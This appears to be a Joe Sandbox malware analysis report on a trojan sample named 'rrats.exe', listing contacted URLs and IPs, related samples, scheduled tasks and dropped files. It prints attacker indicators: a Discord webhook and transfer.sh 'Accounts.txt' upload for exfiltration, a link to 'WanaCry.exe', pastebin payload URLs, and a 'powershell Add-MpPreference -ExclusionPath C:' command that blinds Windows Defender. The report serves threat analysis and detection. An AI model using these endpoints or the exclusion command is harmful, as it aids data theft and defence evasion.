pastebin.com	172.67.19.24	true	false		high

Contacted URLs

Name	Malicious	Reputation
http://pastebin.com/raw/hbwHfEg3	false	high
https://pastebin.com/raw/hbwHfEg3	false	high
http://pastebin.com/raw/KKpnJShN	false	high
https://pastebin.com/raw/KKpnJShN	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.techniknews.net/wp-content/uploads/2018/07/discord-logo.jpg	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/903603651585663016/913496700734279730/WanaCry.exe	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false		high
http://pastebin.com/raw/hbwHfEg3d	Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.w3.or	Explorer.exe, 00000010.00000002.4490902100.0000000002AEB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/hFaPBSUm	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false		high
https://dl.teamviewer.com/download/TeamViewer_Setup_x64.exe	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false		high
http://pastebin.comd	Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	false		high
https://transfer.sh/Accounts.txt?	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B0D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pastebin.com	Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B52000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com	Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F17000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C6D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ipv4bot.whatismyipaddress.com/	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false		high
https://discord.com/api/webhooks/780783005307895818/1tcNqwidYko-32qqkw7-SN35HpBY-1NoZHwFmRnTSgREpOcu	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false		high
http://pastebin.com/raw/KKpnJShNd	Explorer.exe, 00000010.00000002.4490902100.0000000002D0D000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E79000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D65000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CB9000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002BB7000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002E27000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DFC000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C8F000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002CE3000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002C42000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe, 00000010.00000002.4490902100.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtu.be/9Ew461CAlmQ?t=10Chttps://youtu.be/xAZMu-qKLxE?t=35	a.exe, 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp, rrat.exe, 00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp, rrat.exe, 00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, Explorer.exe.5.dr, explore.exe.16.dr, rrat.exe.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.4.235	unknown	United States	13335	CLOUDFLARENETUS	true
172.67.19.24	pastebin.com	United States	13335	CLOUDFLARENETUS	false
194.67.204.7	unknown	Russian Federation	35196	IHOR-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571504
Start date and time:	2024-12-09 14:11:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rrats.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@43/19@2/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 286 Number of non-executed functions: 147
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Explorer.exe, PID 7412 because it is empty
Execution Graph export aborted for target explore.exe, PID 7636 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: rrats.exe

Simulations

Behavior and APIs

Time	Type	Description
08:11:55	API Interceptor	1x Sleep call for process: rrats.exe modified
08:11:58	API Interceptor	30x Sleep call for process: powershell.exe modified
08:12:10	API Interceptor	9885412x Sleep call for process: Explorer.exe modified
14:12:03	Task Scheduler	Run new task: WindowsUpdater path: "C:\Users\user\AppData\Roaming\Explorer.exe"
14:12:09	Task Scheduler	Run new task: WinUpdate path: C:\Users\user\AppData\Local\explore.exe
14:12:09	Task Scheduler	Run new task: WinUpdaters path: cmd.exe s>/C powershell Add-MpPreference -ExclusionPath C:"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.4.235	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gaber.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	XWorm	Browse	pastebin.com/raw/V9y5Q5vv
	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
172.67.19.24	sys_upd.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm2.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_phshop..ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	VvPrGsGGWH.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	pastebin.com/raw/sA04Mwk2
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	pastebin.com/raw/sA04Mwk2
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.20.4.235
	Microsoft.doc	Get hash	malicious	Unknown	Browse	104.20.3.235
	a9YMw44iQq.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.19.24
	nlGOh9K5X5.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	cJ6xbAA5Rn.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	vortex.ps1	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	104.20.3.235
	MicrosoftScript.ps1	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	172.67.19.24
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.3.235

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://newkr-projectx.glitch.me/#brian.ruane@phillyshipyard.com&c=E,1,vVA-mg8r52Zblu_rhig7GFt2mCpLF9PVkeDHz-A9beseyk-7hG6M7GtCamglxWILhEciDIA3yPk4yeJAXNdlExpv1QvST_9_UAM_sKTiUoTphPpfNtY,&typo=1	Get hash	malicious	HTMLPhisher	Browse	104.21.26.223
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://app.droplet.io/form/yelEz0	Get hash	malicious	Unknown	Browse	104.18.16.155
	https://verification.com/omid_error?	Get hash	malicious	Unknown	Browse	104.21.19.197
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	http://doctifyblog.com	Get hash	malicious	Unknown	Browse	172.67.136.51
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	https://www.egencia.com/conversations/cp/connect.html/?id=9445ace5-416d-4fb9-b151-bab0770ccdde	Get hash	malicious	Unknown	Browse	104.18.86.42
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://www.steffe.nu/wp-content/plugins/wats/openfl.php?id=tIP6QK9Y1HOngi2nR2bt	Get hash	malicious	Unknown	Browse	172.67.199.212
CLOUDFLARENETUS	https://newkr-projectx.glitch.me/#brian.ruane@phillyshipyard.com&c=E,1,vVA-mg8r52Zblu_rhig7GFt2mCpLF9PVkeDHz-A9beseyk-7hG6M7GtCamglxWILhEciDIA3yPk4yeJAXNdlExpv1QvST_9_UAM_sKTiUoTphPpfNtY,&typo=1	Get hash	malicious	HTMLPhisher	Browse	104.21.26.223
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://app.droplet.io/form/yelEz0	Get hash	malicious	Unknown	Browse	104.18.16.155
	https://verification.com/omid_error?	Get hash	malicious	Unknown	Browse	104.21.19.197
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	http://doctifyblog.com	Get hash	malicious	Unknown	Browse	172.67.136.51
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	https://www.egencia.com/conversations/cp/connect.html/?id=9445ace5-416d-4fb9-b151-bab0770ccdde	Get hash	malicious	Unknown	Browse	104.18.86.42
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	https://www.steffe.nu/wp-content/plugins/wats/openfl.php?id=tIP6QK9Y1HOngi2nR2bt	Get hash	malicious	Unknown	Browse	172.67.199.212
IHOR-ASRU	http://comprehend-girls.ru/uk_razn_html	Get hash	malicious	Porn Scam	Browse	93.170.123.244
	SecuriteInfo.com.Trojan.Encoder.3976.32157.17259.exe	Get hash	malicious	Locky	Browse	93.170.123.219
	KKdMgqLFjC.msi	Get hash	malicious	Matanbuchus	Browse	194.67.193.73
	fBcMVl6ns6.lnk	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	rpQF1aDIK4.lnk	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	test.ps1	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	path.ps1	Get hash	malicious	DcRat	Browse	185.58.206.164
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.58.206.164
	useraccount.aspx.dll	Get hash	malicious	Matanbuchus	Browse	194.67.193.13
	Document-21-41-00.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	193.124.185.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://app.droplet.io/form/yelEz0	Get hash	malicious	Unknown	Browse	172.67.19.24
	TeudA4phjN.exe	Get hash	malicious	Quasar	Browse	172.67.19.24
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	172.67.19.24
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	172.67.19.24
	PYsje7DgYO.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.19.24
	EcjH6Dq36Y.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.19.24
	9QwZPBACyK.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	https://www.drvhub.net	Get hash	malicious	Unknown	Browse	172.67.19.24
	http://www.sbh.co.uk/	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	172.67.19.24
	jKDBppzWTb.exe	Get hash	malicious	AgentTesla	Browse	172.67.19.24

Process:	C:\Users\user\AppData\Roaming\Explorer.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\explore.exe.log

Download File

Process:	C:\Users\user\AppData\Local\explore.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rrat.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhat92n4M6:ML9E4KlKDE4KhKiKhg84j
MD5:	AE6AF1A0CB468ECBA64E2D77CB4517DB
SHA1:	09BD6366ED569ADB79274BBAB0BBF09C8244FD97
SHA-256:	3A917DCBC4952EA9A1135B379B56604B3B63198E540C653683D522445258B710
SHA-512:	E578CD0D9BF43FD1BA737B9C44B70130462CE55B4F368E2E341BB94A3A3FFA47D4A9FE714EB86926620D1B4BE9FFF4582C219DF9ACC923C765650B13C5451500
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulsp:NllUs
MD5:	45652443D5379363EBB99F8A6B76BAAE
SHA1:	E22A0950AC6456C4A19064AF7F2A857FE06D6E16
SHA-256:	5C5AB7A3B8787F67226287DC84E128A96EBBF98A39D78D71EF00E3CFBAB44005
SHA-512:	9829F8611F0C11964193F33631E5C3CEE870C3C61FAC9AFEA4A8592A4D77CC96CB6CB380F6559422A505BFD7154C1B40FB7924BDC7D88C0DD8FE6F68A2E2C2F9
Malicious:	false
Preview:	@...e...................................;............@..........

C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat

Download File

Process:	C:\Users\user\Desktop\rrats.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.725480556997868
Encrypted:	false
SSDEEP:	3:LjjdHUGR:79UGR
MD5:	CC1BFA4D25DC0D101CFE0A22852E9F00
SHA1:	51C0172AC90F74FA675D96F326C2DF8E85CC35FF
SHA-256:	3276F0CE57358545885AA30B873FA4B604A94689B7528A174D8C9E819873FB08
SHA-512:	D376D38607B12FFE2EDAFEDF4A0C1932C88FE9DB4E0A247D5104140D8DA311A3B752C0D9A52E6048E3247D13EFB3224218F56D276B22F2F26663E05334DE81EC
Malicious:	false
Preview:	start a.exe -p1234

C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe

Download File

Process:	C:\Users\user\Desktop\rrats.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	308705
Entropy (8bit):	6.919978105053525
Encrypted:	false
SSDEEP:	6144:S61E/QSnxoEMTlXEulocqX+tL7VMxVEosZzW:S6ErxJMTtEul2X+tLxMPEosg
MD5:	7107F3FB53F9F3EAF3B95FD857F7AEE9
SHA1:	81E0DFE67B3B098C331EB3964E670E7762749B40
SHA-256:	3D74CBFD24A606B7F8C1E980CB08365C3127BED66B813F6FC7FB53EB19171CC0
SHA-512:	CD42E3D36A1F0BF7F0429DF7EE0780D1D7039F0139F91E0CB71A488C8D50973DF53FE70A7CDB09E50E5651E2C1A7FEF3DA0A4CB1E9225C5071711BD2D9F2E5D8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
